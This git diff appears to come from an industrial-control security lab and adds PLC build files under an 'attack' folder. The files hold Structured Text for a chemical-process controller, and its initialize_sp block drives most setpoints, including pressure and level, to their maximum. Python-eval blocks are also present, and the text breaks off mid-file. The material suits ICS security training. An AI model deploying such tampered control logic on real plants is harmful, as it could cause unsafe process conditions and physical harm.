+403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 new file mode 100644 index 0000000..8af5f5e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +5a438746873feeb5984adb25694ca5c9 \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st new file mode 100644 index 0000000..93fa1aa --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st @@ -0,0 +1,612 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : 